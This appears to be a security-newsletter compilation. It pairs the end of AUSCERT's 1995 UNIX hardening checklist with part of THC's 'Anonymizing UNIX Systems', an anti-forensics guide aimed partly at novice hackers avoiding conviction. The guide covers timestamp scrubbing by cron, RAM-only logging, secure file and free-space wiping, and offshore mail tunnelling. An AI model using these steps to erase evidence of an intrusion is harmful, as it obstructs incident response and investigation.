ftp://ftp.auscert.org.au/pub/mirrors/ftp.vis.colostate.edu
/rscan/*
B.12 SATAN
SATAN (Security Administrator Tool for Analysing Networks) is
a testing and reporting tool that collects information about
networked hosts. It can also be run to check for a number
of vulnerabilities accessible via the network. It is available
via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl/satan*
B.13 logdaemon
Written by Wietse Venema, this package includes replacements
for rsh and rlogin daemons. By default these versions do not
accept wild cards in host.equiv or .rhost files. They also
have an option to disable user .rhost files. logdaemon is
available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl/logdaemon*
B.14 portmapper/rpcbind
These are portmapper/rpcbind replacements written by Wietse
Venema that disallow proxy access to the mount daemon via the
portmapper. Choose the one suitable for your system. They are
available via anonymous ftp from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl
/portmap_3.shar.Z
ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl
/rpcbind_1.1.tar.Z
B.15 PGP Pretty Good Privacy implements encryption and authentication.
It is available from:
ftp://ftp.ox.ac.uk/pub/pgp/unix/
B.16 chrootuid
Allows chroot functionality. The current version is 1.2 (at
time of writing). Please check for later versions.
It is available from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl
/chrooduid1.2
A digital signature is available from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl
/chrooduid1.2.asc
B.17 CGIWRAP
It is available from:
ftp://ftp.cc.umr.edu/pub/cgi/cgiwrap
B.18 X11R6
It is available from:
ftp://archie.au/X11/R6/*
ftp://archie.au/X11/contrib/*
or
ftp://ftp.x.org/pub/R6/*
B.19 Washington University ftpd (wu-ftpd)
This can log all events and provide users with a login banner
and provide writable directory support in a more secure manner.
It is available from:
ftp://ftp.auscert.org.au/pub/mirrors/wuarchive.wustl.edu
/packages/wuarchive-ftpd/*
NOTE: Do not install any versions prior to wu-ftp 2.4 as these are
extremely insecure and in some cases have been trojaned.
Refer to the CERT advisory CA-94:07 (C.8).
B.20 Patch 005 for BSD/386 v1.1.
It is available from:
ftp://ftp.auscert.org.au/pub/mirrors/ftp.bsdi.com
/bsdi/patches/README
ftp://ftp.auscert.org.au/pub/mirrors/ftp.bsdi.com
/bsdi/patches/?U110-005
or
ftp://ftp.bsdi.com/bsdi/patches/README
ftp://ftp.bsdi.com/bsdi/patches/?U110-005
(where ? is B or S for the Binary or Source version)
B.21 Anonymous FTP Configuration Guidelines
The CERT document which addresses the many problems associated
with writable anonymous ftp directories. It is available from:
ftp://ftp.auscert.org.au/pub/cert/tech_tips/anonymous_ftp
==============================================================================
Appendix C: References
C.1 Practical UNIX Security
Simson Garfinkel and Gene Spafford
(C) 1991 O'Reilly & Associates, Inc.
C.2 UNIX Systems Security
Patrick Wood and Stephen Kochan
(C) 1986 Hayden Books
C.3 UNIX system security: A Guide for Users and System Administrators
David A. Curry
Addison-Wesley Professional Computing Series
May 1992.
C.4 X Window System Administrators Guide
Chapter 4
(C) 1992 O'Reilly & Associates, Inc.
C.5 Information Security Handbook
William Caelli, Dennis Longley and Michael Shain
(C) 1991 MacMillan Publishers Ltd.
C.6 Firewalls and Internet Security
William R. Cheswick & Steven M. Bellovin
(C) 1994 AT&T Bell Laboratories
Addison-Wesley Publishing Company
C.7 Building Internet Firewalls
Brent Chapman and Elizabeth Zwicky
(C) 1995 O'Reilly & Associates, Inc.
C.8 CERT advisories are available via anonymous FTP from
ftp://ftp.auscert.org.au/pub/cert/cert_advisories/*
CERT vendor-initiated bulletins are available via anonymous FTP from
ftp://ftp.auscert.org.au/pub/cert/cert_bulletins/*
C.9 UNIX System Administration Handbook (second edition)
Evi Nemeth, Garth Snyder, Trent R. Hein and Scott Seebas
Prentice-Hall, Englewood Cliffs (NJ), 1995
C.10 Essential System Administration
Aeleen Frisch
O'Reilly & Associates, Inc.
C.11 Managing Internet Information Services
Cricket Liu, Jerry Peek, Russ Jones, Bryan Buus, Adrian Nye
O'Reilly & Associates, Inc.
C.12 Managing NFS and NIS
Hal Stern, O'Reilly and Associates, Inc., 1991
==============================================================================
Appendix D: Abbreviated Checklist
It is intended that this short version of the checklist be used in
conjunction with the full checklist as a progress guide (mark off the
sections as you go so that you remember what you have done so far).
1.0 Patches
[ ] Installed latest patches?
2.0 Network security
[ ] Filtering
[ ] "r" commands
[ ] /etc/hosts.equiv
[ ] /etc/netgroup
[ ] $HOME/.rhosts
[ ] NFS
[ ] /etc/hosts.lpd
[ ] Secure terminals
[ ] Network services
[ ] Trivial ftp (tftp)
[ ] /etc/services
[ ] tcp_wrapper (also known as log_tcp)
[ ] /etc/aliases
[ ] Sendmail
[ ] majordomo
[ ] fingerd
[ ] UUCP
[ ] REXD
[ ] World Wide Web (WWW) - httpd
3.0 ftpd and anonymous ftp
[ ] Versions
[ ] Configuration
[ ] Anonymous ftp only
[ ] Configuration of your ftp server
[ ] Permissions
[ ] Writable directories
[ ] Disk mounting
4.0 Password and account security
[ ] Policy
[ ] Proactive Checking
[ ] NIS, NIS+ and /etc/passwd entries
[ ] Password shadowing
[ ] Administration
[ ] Special accounts
[ ] Root account
[ ] .netrc files
[ ] GCOS field
5.0 File system security
[ ] General
[ ] Startup and shutdown scripts
[ ] /usr/lib/expreserve
[ ] External file systems/devices
[ ] File Permissions
[ ] Files run by root
[ ] Bin ownership
[ ] Tiger/COPS
[ ] Tripwire
6.0 Vendor operating system specific security
[ ] SunOS 4.1.x
[ ] Patches
[ ] IP forwarding and source routing
[ ] Framebuffers /dev/fb
[ ] /usr/kvm/sys/*
[ ] /usr/kvm/crash
[ ] /dev/nit (Network Interface Tap)
[ ] Loadable drivers option
[ ] Solaris 2.x
[ ] Patches
[ ] IP forwarding and source routing
[ ] Framebuffers /dev/fbs
[ ] IRIX
[ ] Patches
[ ] AIX
[ ] Patches
[ ] HPUX
[ ] Patches
[ ] OSF
[ ] Patches
[ ] ULTRIX
[ ] Patches
7.0 Security and the X Window System
[ ] Problems with xdm
[ ] X security - General
==============================================================================
Appendix E: Shell Scripts
E.1 Script for printing the umask value for each user.
#!/bin/sh
PATH=/bin:/usr/bin:/usr/etc:/usr/ucb
HOMEDIRS=`cat /etc/passwd | awk -F":" 'length($6) > 0 {print $6}' | sort -u`
FILES=".cshrc .login .profile"
for dir in $HOMEDIRS
do
for file in $FILES
do
grep -s umask /dev/null $dir/$file
done
done
==============================================================================
Appendix F: Table of operating systems by flavour
Operating System SVR4-like BSD-like Other
-------------------------------------------------------------------
| |
| SunOS 4.1.x * |
| |
| Solaris 2.x * |
| |
| Solaris intel86 x.x * |
| |
| Irix x.x * |
| |
| HP/UX x.x * |
| |
| Ultrix x.x * |
| |
| OSF x.x * |
| |
| *BSD* x.x * |
| |
| Linux x.x * |
| |
| AIX x.x * |
| |
| SCO x.x * |
| |
-------------------------------------------------------------------
==============================================================================
Appendix G: List of commands by flavour
Notes:
1. The commands given here are examples only. Please consult the manual
pages for your system if you are unsure of the consequence of any
command.
2. BSD-style commands are marked as BSD commands, similarly for SVR4.
3. Commands which are not labelled are expected to work for both.
4. Full directory paths and program options may vary for different flavours
of UNIX. If in doubt, consult your vendor documentation.
G.1 Restart inetd
BSD commands
# /bin/ps -aux | /bin/grep inetd | /bin/grep -v grep
# /bin/kill -HUP <inetd-PID>
SVR4 commands
# /bin/ps -ef | /bin/grep inetd | /bin/grep -v grep
# /bin/kill -HUP <inetd-PID>
G.2 Ascertain which services are registered with the portmapper
# /usr/bin/rpcinfo -p
G.3 Rebuild alias maps
# /usr/bin/newaliases
If you run NIS (YP), you will then need to rebuild your maps to have the
change take effect over all clients:
# (cd /var/yp; /usr/bin/make aliases)
G.4 Test whether sendmail wizard password is enabled
% telnet hostname 25
wiz
debug
kill
quit
%
You should see the response "5nn error return" (e.g., "500 Command
unrecognized") after each of the commands 'wiz', 'debug' and 'kill'.
Otherwise, your version of sendmail may be vulnerable. If you are unsure
whether your version is vulnerable, update it.
G.5 Set sendmail log level to 9
Include lines describing the log level (similar to the following two) in
the options part of the general configuration information section of the
sendmail configuration file:
# log level
OL9
The log level syntax changed in sendmail 8.7 to:
# log level
O LogLevel=9
G.6 Set syslog log level for mail messages
Include lines describing the logging required (similar to the following
two) in the syslog.conf file:
mail.info /dev/console
mail.info /var/adm/messages
For the change to take effect, you must then instruct syslog to reread
the configuration file.
BSD commands
Get the current PID of syslog:
# /bin/ps -aux | /bin/grep syslogd | /bin/grep -v grep
Then tell syslog to reread its configuration file:
# /bin/kill -HUP <syslog-PID>
SVR4 commands:
Get the current PID of syslog:
# /bin/ps -ef | /bin/grep syslogd | /bin/grep -v grep
Then tell syslog to reread its configuration file:
# /bin/kill -HUP <syslog-PID>
NOTE: In the logs, look for error messages like:
- mail to or from a single pipe ("|")
- mail to or from an obviously invalid user (e.g., bounce or blah)
G.7 (Rebuilding and) restarting sendmail(8)
To rebuild the frozen configuration file, firstly do:
# /usr/lib/sendmail -bz
NOTE: The above process does not apply to sendmail v8.x which does not
support frozen configuration files.
To restart sendmail(8), you should kill *all* existing sendmail(8)
processes by sending them a TERM signal using kill, then restart
sendmail(8).
BSD commands
Get the pid of every running sendmail process:
# /bin/ps -aux | /bin/grep sendmail | /bin/grep -v grep
Kill every running sendmail process and restart sendmail:
# /bin/kill <pid> #pid of every running sendmail process
# /usr/lib/sendmail -bd -q1h
SVR4 commands
Get the pid of every running sendmail process:
# /bin/ps -ef | /bin/grep sendmail | /bin/grep -v grep
Kill every running sendmail process and restart sendmail:
# /bin/kill <pid> #pid of every running sendmail process
# /usr/lib/sendmail -bd -q1h
G.8 Test whether ftpd supports SITE EXEC
For normal users:
% telnet localhost 21
USER username
PASS password
SITE EXEC
For anonymous users:
% telnet localhost 21
USER ftp
PASS username@domainname.au
SITE EXEC
You should see the response "5nn error return" (e.g., "500 'SITE
EXEC' command not understood"). If your ftp daemon has SITE EXEC
enabled, make sure you have the most recent version of the daemon (e.g.,
wu-ftp 2.4). Older versions of ftpd allow any user to gain shell access
using the SITE EXEC command. Use QUIT to end the telnet session.
G.9 Ascertain whether anonymous ftp is enabled
% ftp localhost
Connected to localhost
220 hostname FTP server ready
Name (localhost:username): anonymous
331 Guest login ok, send username as password
Password: user@domain.au
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
G.10 Ensure that * in the password field is correctly implemented
1. Try using NIS with the '*' in the password field for example:
+:*:0:0:::
If NIS users cannot log in to that machine, remove the '*' and try
the next test.
2. With the '*' removed, try logging in again. If NIS users can log in
AND you can also log in unauthenticated as the user '+', then your
implementation is vulnerable. Contact the vendor for more information.
If NIS users can log in AND you cannot log in as the user '+', your
implementation should not be vulnerable to this problem.
G.11 Find .exrc files
# /bin/find / -name '.exrc' -exec /bin/cat {} \; -print
See also G.19.
G.12 Locate and print .forward files
# /bin/find / -name '.forward' -exec /bin/cat {} \; -print
See also G.19.
G.13 Remove execute permission on /usr/lib/expreserve
# /bin/chmod 400 /usr/lib/expreserve
G.14 Set ownership and permissions for /tmp correctly
# /bin/chown root /tmp
# /bin/chgrp 0 /tmp
# /bin/chmod 1777 /tmp
NOTE: This will NOT recursively set the sticky bit on sub-directories
below /tmp, such as /tmp/.X11-unix and /tmp/.NeWS-unix; you may
have to set these manually or through the system startup files.
G.15 Find group and world writable files and directories
# /bin/find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \;
# /bin/find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \;
See also G.19.
G.16 Find files with the SUID or SGID bit enabled
# /bin/find / -type f \( -perm -004000 -o -perm -002000 \) \
-exec ls -lg {} \;
See also G.19.
G.17 Find normal files in /dev
# /bin/find /dev -type f -exec ls -l {} \;
See also G.19.
G.18 Find block or character special files
# /bin/find / \( -type b -o -type c \) -print | grep -v '^/dev/'
See also G.19.
G.19 Avoid NFS mounted file systems when using /bin/find
# /bin/find / \( \! -fstype nfs -o -prune \) <expression>
As an example, <expression> could be
-type f \( -perm -004000 -o -perm -002000 \) -exec ls -lg {} \;
==============================================================================
The AUSCERT team have made every effort to ensure that the information
contained in this checklist is accurate. However, the decision to use the
tools and techniques described is the responsibility of each user or
organisation. The appropriateness of each item for an organisation or
individual system should be considered before application in conjunction with
local policies and procedures. AUSCERT takes no responsibility for the
consequences of applying the contents of this document.
AUSCERT acknowledges technical input and review of this document by CERT
Coordination Center and DFN-CERT and comments from users of this document.
Permission is granted to copy and distribute this document provided that The
University of Queensland copyright is acknowledged.
(C) Copyright 1995 The University of Queensland
==============================================================================
If you believe that your system has been compromised, contact AUSCERT or your
representative in FIRST (Forum of Incident Response and Security Teams).
Internet Email: auscert@auscert.org.au
AUSCERT Hotline: (07) 3365 4417 (International: + 61 7 3365 4417)
Facsimile: (07) 3365 4477
AUSCERT personnel answer during business hours (AEST - GMT+10:00),
on call after hours for emergencies.
Australian Computer Emergency Response Team
c/- Prentice Centre
The University of Queensland
Brisbane, Queensland 4072.
Australia
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Finger pgp@ftp.auscert.org.au to retrieve AUSCERT's public key
iQCVAwUBMNdrTih9+71yA2DNAQH9sQP/aWGDwRG80e4oz6pgeRRkzB25tm0D12ew
8zXBldNrbGC1s0h4U//G/WPNvWeF4Llr7GAAevTxwc8RMeDS9N3Aw5YTpPXaOE+x
WSqHDEQfCwRgiOJc4sw3GA9r7/HYcwi81E06gNwmFTDU+IMmAiKCBisw/vNCnHS9
RztMITIV7is=
=wZf1
-----END PGP SIGNATURE-----
@HWA
42.0 Anonymizing UNIX systems by van Hauser [THC]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
---[ Anonymizing UNIX Systems ]---
version 0.7
Author: van Hauser / THC
I. THE AUDIENCE
II. GOAL
III. PREREQUISITES
IV. USER DATA
1. Sensitive user data
2. Protecting /home directories
3. Traceable user activity
4. Protecting /var/spool/mail/user files
V. SYSTEM DATA
1. Sensitive system data
2. Traceable system activity
3. Logging - important and dangerous
4. Protecting system configs
5. Computer Memory and sensitive /proc interfaces
VI. DELETE(D) DATA AND SWAP
1. How to delete files in a secure way
2. How to wipe free disk space
3. How to handle swap data
4. How to handle RAM
5. Temporary data - it is evil
VII. NETWORK CONNECTIONS
VIII. HIDING PRIVACY SETTINGS
1. Mount is your friend
2. Removable Medias
3. ???
IX. EXAMPLE CONFIGURATION AND SCRIPTS
X. FINAL COMMENTS
1. Where to get the tools mentioned in this text
2. Additional thoughts
3. Greetings (what would the world be without greets?)
4. How to contact me for updates or comments
--------------------
* I. THE AUDIENCE
This text is for any human being out there who wishes to keep their data and doings private from any snooping eye - monitoring network traffic and stealing/accessing the computer including electronic forensics. Hackers, phreakers, criminals, members of
democracy parties in totalitarian states, human rights workers, and people with high profiles might be interested in this information. It was especially written for novice hackers so they are not so easily convicted when busted for their early curiosity.
Thanks to Solar Designer, Fyodor, typo, tick, pragmatic, mixter and doc holiday for comments, critics and ideas.
Special thanks to rookie who had the original idea writing this paper but through personal problems couldn't do it himself.
* II. GOAL
Our goal is to provide solutions to the following statements:
(1) The solution should be simple and easy
(2) All user data should be inaccessible by anyone except their owner
(3) Nobody should be able to reconstruct what is happening on the system
Maybe you see contradictions ;-)
* III. PREREQUISITES
It is important to state the prerequisites for this project:
- The system should be secure. No remote vulnerabilities (and hopefully no local ones either)
- The system administator(s) must be trusted and willing to set this up
- The operating system to achieve this is a UNIX
Note that the solutions presented do not 100% fit internet servers.
However it's (nearly, bah ;-) perfect for enduser systems.
For the UNIX part, we show the solutions for Linux because it is the unix most easily for beginners to get their hands on and administrate.
The Linux distribution we use is the SuSE Linux Distribution 6.0
Debian is better but more complicated for beginners. And I dislike redhat for it's missing security.
You should know enough about unix (what is portmap, mount, rc2.d etc.) before trying to understand this text. It's *not* a Linux-Howto!
* IV. USER DATA
*** 1. Sensitive user data
What is sensitive user data? Well *any* data from a user account. This includes:
- utmp/wtmp/lastlog data (login times and duration plus login hosts)
- history files (what commands you typed in your session)
- your emails
- temporary files from applications like mailers, browsers etc.
- applications and their configuration
- your own data (documents, porn pics, confidental data)
- time stamps on your data (when were you accessing/editing which data)
- on multiuser systems: what users CURRENTLY are doing.. this includes process listing, and network connections as well as utmp (which is already covered by another category). -> make proc more restrictive.
We are trying to protect all this data.
Note that utmp/wtmp/lastlog data and mail (mqueue/mail/fax/lpd) is handled in the SYSTEM DATA section.
Note that all user accounts can be seen from /etc/passwd ;-) So maybe you'd like to add some/many fake accounts, together with homedirs and crypted data ...
*** 2. Protecting /home directories
Most important for protecting user data is protecting the users' /home directories.
Each home directory must be encrypted with a strong cypher so that even with full physical access to the system the data can't be obtained. Currently I know of only one software provididing a solution to our requirements: CFS - the cryptographic filesystem.
There are also some other crypto solutions available : TCFS, SFS and the loop filesystem with crypt support. They are faster but have got the disadvantage that you'll have to recompile your kernel with patches from these tools. So for the sake of easeness, I
stick with CFS here. (Pointers to all tools mentioned in this text can be found at the end)
To enable CFS we must put these six lines in a rc2.d script:
portmap
rpc.mountd -P 894 # mountd should bind to port 894
cfsd 895 # cfsd should bind to port 895
rm -rf /tmp/.tmp
mkdir -p -m 700 /tmp/.tmp
mount -o port=895,intr localhost:/tmp/.tmp /home
Additionaly we have to put this entry into /etc/exports:
/tmp/.tmp localhost
Okay. This starts the sunrpc with the mountdaemon which are necessary for CFS to be started and used.
Now we need to get the following going: if a user logs on, the system has to check if he's already logged in to decide whether to decrypt the users' home directory. This sounds hard but is easy: the user's /home/user directory doesn't exist (even if it would,
because of mount command nine lines above would make it nonexistent), so the user's HOME variable is set to '/' the root directory. Then his login shell is started which looks for it's start scripts. And that's were we put our hooks in.
We create (this example is for bash) the file /.profile with the following contents:
cattach /crypt/$USER $USER || exit 0
export HOME=/home/$USER
cd $HOME
if test -f $HOME/.profile; then
. $HOME/.profile
fi
When a user logs on the first time, this script will be executed. The user has to enter the password for his crypted homedir, and after this his correct HOME variable is set and the normal login profile is read and done. If a user doesn't know the passphrase for his
crypted homedir, he is logged out.
But how do we remove the decrypted homedir after the user logs out? This script should be clever, because a user could be logged in several times at once, and it should only be removed when the last loginshell exits.
Thank god, this is easy too, we create a /home/user/.bash_logout script:
# if the number of user's login shells are > 3 then this is the last.
shells=`ps xu | grep -- "$USER .* S .* -[^ ]*sh" | wc -l`
test $shells -lt 3 || exit 0
export HOME=/
cd /
cdetach $USER
Thats all. From now on, the users' homedirectories are safe.
Note that a user can't login now, start a background job which writes data in his homedirectory and log out because his homedirectory would be removed. The full .bash_logout script I provide in (see two lines below) checks for a $HOME/.keep file and if
present doesn't remove the homedir.
For network logins you should keep in mind that they should not be done via rlogin, telnet, etc. because they send all traffic (including passwords) in plaintext over the network. You should use a tool which encrypts the whole traffic like SSLtelnet or SSH (for
SSH you need to set "UseLogin yes" in the /etc/sshd_config file).
You'll find all these scripts with error checking, user creating, stop scripts and config files etc. in section IX. EXAMPLE CONFIGURATION
Note that we started daemons in the section which can be contacted from remote. If you don't want this (because there are no external users who need to mount their crypted user data on their own machine) you should firewall these ports. Look in you
manpages ("man ipchains" or "man ipfwadm").
*** 3. Traceable user activity
[Warning, this section shows first how to perform simple electronic forensics]
It is easy to see who logged on the system and what he did by the timestamps. Even if all your data is crypted, by checking the last access time (atime) of your files, someone may check when you logged in last time, for what duration and if you were idleing or
doing much stuff.
If the systems doesn't have many users, someone might even tell what you did.
Example: The earliest access time for a crypted file in your homedir can be seen by:
ls -altur /crypt/$USER | head -1 # shows the logout file
ls -altu /crypt/$USER | more # with some brain you'll find
# the login time
then you also have the duration of the session.
By checking the change/modification and access time of those crypted files with their timestamps someone can see how hard you were working, and get more conclusions (e.g. if many files nested in a three levels deep directory where modified this is probably a
browser - so you were surfing the net).
This insight will now make it possible to check what commands were run:
Let's say the login time as 22 hours ago, so you run:
find / -type f -atime 0 -ls # shows the accessed files
find / -type f -mtime 0 -ls # shows the modified files
(this can be done with directories too)
Now check the output for the correct timeframe and analyze what you found. e.g. the telnet client was accessed. So it's probable, the user used it to connect to another system. I think you can imagine now what is possible.
To protect against this is also very easy:
Create the file /usr/local/bin/touch_them and make it executable with the following contents:
find /crypt /tmp /etc /var/spool 2> /dev/null | xargs -n 250 touch
Then put the following line into /etc/crontab:
50 * * * * root /usr/local/bin/touch_them
finally you change the 4th row of all lines in /etc/fstab which have the keyword "ext2" in their third (the filesystem type) row:
defaults (or anything else)
should become
defaults,noatime (the old value is kept, and noatime is appended)
example:
/dev/hda1 / ext2 defaults 1 1
becomes
/dev/hda1 / ext2 defaults,noatime 1 1
What did we achieve? The crontab entry with the small script updates the atime, mtime and ctime to the current time every hour of special directories - especially those which may hold user data.
The mount options we changed now prevent the update of the atime. However, this needs a current 2.2.x kernel - it isn't implemented on the 2.0 kernel tree!
*** 4. Protecting /var/spool/* files
/var/spool/mail :
Now it gets tricky. How can we protect the new mail for a user from spying eyes? It can't be sent directly to a user's homedir like qmail would do because it's crypted. The easiest solution is to use pgp to encrypt your outgoing emails and tell all your friends that
they should also encrypt all emails to you.
However, this is not satisfying. An attacker can still see who sent the user the email. The only possibility to hide this is using anonymous remailer. This is not a great solution, so this is an open point (see section X.2: Additional thoughts)
/var/spool/{mqueue|fax|lpd} :
Well, all you can do is try to flush the queues when shutting down.
After that you have to decide if you delete the remaining files in a secure way or leave it where it is. Or program a special script which does something with the data (like taring the data and encrypting it with pgp, doing the reverse when the system is rebooted)
You can also create a whole crypted /var partition, but that would require someone at the console while booting the system - every time.
* V. SYSTEM DATA
*** 1. Sensitive system data
What is sensitive system data? *Anything* which gives conclusion on incoming and outgoing data, configuration files, logs, reboots and shutdowns.
This includes:
- utmp/wtmp/lastlog data (boot, reboot, shutdown times + user times)
- ppp dialup script
- sendmail and tcp wrapper configurations
- proxy cache data (e.g. squid web/ftp proxy)
- syslog messages
- /var/spool/* data {mqueue|fax|lpd|mail}
- temporary files from daemons
- time stamps on data (when were what data accessed/edited)
How to prevent time stamp forensica, see section IV.3
How to protect /var/spool/* data, see section IV.4 for an incomplete solution.
*** 2. Traceable system activity
(prevent of time stamp forensic is handled in section IV.3) To trace system activity, you can easily check temporary files of daemons and applications. Some of them write to /tmp, root applications usually (should) write to /var/run. We handle this together with
section V.3: Logging. All you have to do is this, and only *once* :
cd /var
mv run log
ln -s log/run run
this moves the /var/run directory to /var/log/run and sets a symlink in it's former place so that applications still find their files.
*** 3. Logging - important and dangerous
Logging is important to trace problems like misconfigurations.
Logging is dangerous because an attacker can see important data in the logfiles, like the user's login and logout time, if they executed "su" or other commands etc.
We try to find a balance between this.
Our solution: Write all log data to one special directory.
This directory is a RAM disk so the data is lost after a system shutdown. Ensure that syslogd [/etc/syslog.conf] and daemons (e.g. httpd [apache]) only write to our special logging directory or a system console. /var/log should be used as our special logging
directory.
Now we put the following commands into /sbin/init.d/boot.local:
umask 027
mke2fs -m0 /dev/ram0 1> /dev/null 2>&1
rm -rf /var/log/* 2> /dev/null
mount -t ext2 /dev/ram0 /var/log
chmod 751 /var/log
cd /var/log
mkdir -m 775 run
chgrp uucp run
for i in `grep /var/log /etc/syslog.conf|grep -v '^#'| \
awk '{print $2}'|sed 's/^-//'`
do > $i ; done
umask 007 # 002 might be used too.
for i in run/utmp wtmp lastlog
do > $i ; chgrp tty $i ; done
cd /
kill -HUP `pidof syslogd` 2> /dev/null
After your next reboot it behaves like described above.
Some of you will not like the idea of having no logs after a reboot. This way you can't trace an intruder or guess from your logs what crashed the machine. Either you can tar the files and pgp before the shutdown is complete (but the data would be lost if a crash
occurs), or you might also use ssyslog or syslog-ng, special syslogs with crypting capabilities, and write the data you really want to keep to (just an example) /var/slog.
You can also create a whole crypted /var partition, but that would require someone at the console while booting the system - every time.
*** 4. Protecting system configs
This is tricky. It is easy to achieve but for a price. If we create an account with uid which has his homedir in /home and is hence protected by our CFS configuration, you need to be at the console at every reboot. This isn't practical for server systems that need to
be administrated and rebooted remotely. This solution is only good for end-user pcs.
Just create an account with the uid 0 (e.g. with the login name "admin"). You can use the create_user script from section IX.
Put all your sensitive configuration files you want to protect into this directory (ppp dialup scripts, sendmail.cf configs, squid configs with their cache directory set to a subdir of "admin" etc.)
Now create a small shellscript which starts these daemons with a command line option to use the config files in your "admin" homedir.
Your system is then secure from extracting the sensitive information from the config files. But for a price. You have to log in after each reboot as user "admin", enter your CFS passphrase and start the script.
*** 5. Computer Memory and sensitive /proc interfaces
For a real multiuser system on which the administrator want additionally ensure the privacy of the user online, he has to hide the user process information, a user would normally see when issuing a "who" or "ps" command. To protect the user's process
information, you can use Solar Designer's secure-linux kernel patch. To protect the utmp/wtmp/lastlog we ensure that these files are only readable by root and group tty, hence a normal user can't access this data. (This is done in the boot.local example script)
Now one problem is left. Even with normal RAM a well funded organisation can get the contents after the system is powered off. With the modern SDRAM it's even worse, where the data stays on the RAM permanently until new data is written. For this, I
introduced a small tool for the secure_delete package 2.1, called "smem" which tries to clean the memory. This one should be called on shutdown. It is done in the example in section VI.4
* VI. DELETE(D) DATA AND SWAP
*** 1. How to delete files in a secure way<
When a file is deleted, only the inode data is freed, the contents of the data is NOT wiped and can be gathered with tools like "dd" or the tool manpipulate_data from THC.
Peter Gutmann wrote a paper with the name "Secure Deletion of Data from Magnetic and Solid-State Memory" presented 1996 at the 6th Usenix Security Symposium. This is the best civilian paper on how to wipe data in a way that it is hard for even electronic
microscopes to regain the data.
There are four tools out there which uses the techniques described there, two called "wipe", one called "srm" from THC's secure_delete package and "shred" which is part of the new fileutil package from GNU.
Ours is still the best from it's design, features and security, and it has also all important and advanced commandline options and speed you need.
To use one of these tools for deletion just set an alias in /etc/profile:
alias rm=srm # or wipe or shred
or even better, move /bin/rm to /bin/rm.orig and copy the secure delete program to /bin/rm. This ensures, that all data which is deleted via rm is securely wiped.
If you can't install THC's secure_delete package or any other (for any reason) you can also set the wipe flag from the ext2 filesystem on files you wish to wipe before rm'ing them. It's nearly the same, but it's NOT a secure wipe like mentioned above. It's set by:
chattr +s filename(s)
[Note that it is *still* possible for a well funded organisation to get your data. Don't rely on this! See section VI.4 !]
*** 2. How to wipe free disk space
Most times applications like the editor in your mail program write a temporary file. And you don't know about it - you weren't even asked :( Because they don't wipe the data in a secure way, an attacker can get all your private emails just because you didn't
know. That's bad.
The solution: You use a wiper program which cleans all unused data from the disk partitions.
The only one available is the one from THC's secure_delete package. You could put "sfill" (that is what it is called) in you crontab so it is run regulary but this might create problems when at this moment this space is needed by an important application. At least
when the system shuts down, sfill should be called.
Put this in the "stop" part of a late rc2.d script:
sfill -llf /tmp 2> /dev/null
sfill -llf /var/spool 2> /dev/null
Note that it is a good idea to generate a new paritition for /tmp itself, and putting a symlink from /usr/tmp and /var/tmp to /tmp. This way it is easier to control and wipe.
Again, if you can't install the secure_delete package for any reason, you can also use this solution (slower and not as secure):
dd if=/dev/zero of=/tmp/cleanup
sync
rm /tmp/cleanup
*** 3. How to handle swap data
Securely wiping files and free diskspace - well what's left? Today, harddisk MB's are cheaper than RAM, thats why swap space is used to expand the available RAM. This is in reality a file or partition on your harddisk. And can have your sensitive data in it.
Again there is only one tool which helps you out here, "sswap" from THC's secure_delete package ;-)
Put this line after the "swapoff" line in /sbin/init.d/halt:
sswap -l /dev/XXXX # the device for your swap, check /etc/fstab
*** 4. How to handle RAM
In section V.5 I wrote about sensitive information in your RAM, the fast memory of your computer system. It can hold very sensitive information like the email you wrote before pgp'ing it, passwords, anything.
To ensure, that the memory is cleaned, use the smem utility.
It should be called like this in the stop part of a late rc2.d script (as already mentioned above), after the wiping the file of /tmp etc. and then wiping the free memory:
smem -ll
*** 5. Temporary data - it is evil
After you have secured/anonymized/privatized your system so far everything's ready - or did you forget something?
Remember what we told you in section VI.1, that temporary data is written somewhere and sometimes you don't know. If you are unlucky, all we've done here was useless. We have to ensure that there's no temporary data left on the devices and that it can't be
recovered either.
We already dealed with /var/log, /var/run and sent email (/var/spool/...), and we wipe all free diskspace from our temporary disk locations. Now we must wipe also the temporary data.
Put this line in the stop part of a late rc2.d script (before sfill from VI.3):
( cd /tmp ; ls -A | xargs -n 250 srm -r ; )
Also a $USER/tmp directory should be created for all users under the CFS /home protection and a TMPDIR variable set to this directory.
See section IX. for all these scripts ...
* VII. NETWORK CONNECTIONS
This is a very specialized area of this document. I write here a few ways how someone can protect some of their data being transfered on the internet.
The basic prerequisites are as following: You've got an external POP3 and SMTP (mail relayer) where you get and send your email. When your go on irc, you also don't like your real hostname being printed on the channels.
Your external mail server should be in another country, because if maybe some official agencies think you're doing something illegal (and I'm sure you won't) it's harder to get a search warrant. It's also harder because companies or individuals that try to get your
data would need to invest more time, work and money to get it.
You can tunnel your SMTP and POP3 via ssh to the external mail server.
For POP3 this is easy, but for SMTP this is a bit harder.
Just as an example, irc traffic can be tunneled through this as well, but dcc stuff won't work (one way doesn't work, the other would reveal your ip address to the sender and the data is not encrypted on any part of the internet)
Note that you can also use redirectors and proxies to accomplish further redirecting for other protocols (www, irc, ftp proxies etc.)
Thats all. All mail traffic (and as you can see below, irc traffic too) is being crypted between you and your mail/proxy server.
sendmail.cf (important parts):
DSsmtp:[127.0.0.1]
DjTHE_DOMAIN_NAME_OF_YOUR_EMAIL
DMTHE_DOMAIN_NAME_OF_YOUR_EMAIL
- Msmtp, P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990,
+ Msmtp, P=[IPC], F=mDFMuXk, S=11/31, R=21, E=\r\n, L=990,
(add the "k" switch to the smtp option config line)
~user/.fetchmailrc:
poll localhost protocol POP3:
user USER_REMOTE with pass PASSWORD_REMOTE is USER_LOCAL here
mda "/usr/sbin/sendmail -oem USER_LOCAL"
(enter the corresponding USER_* and PASSWORD in here)
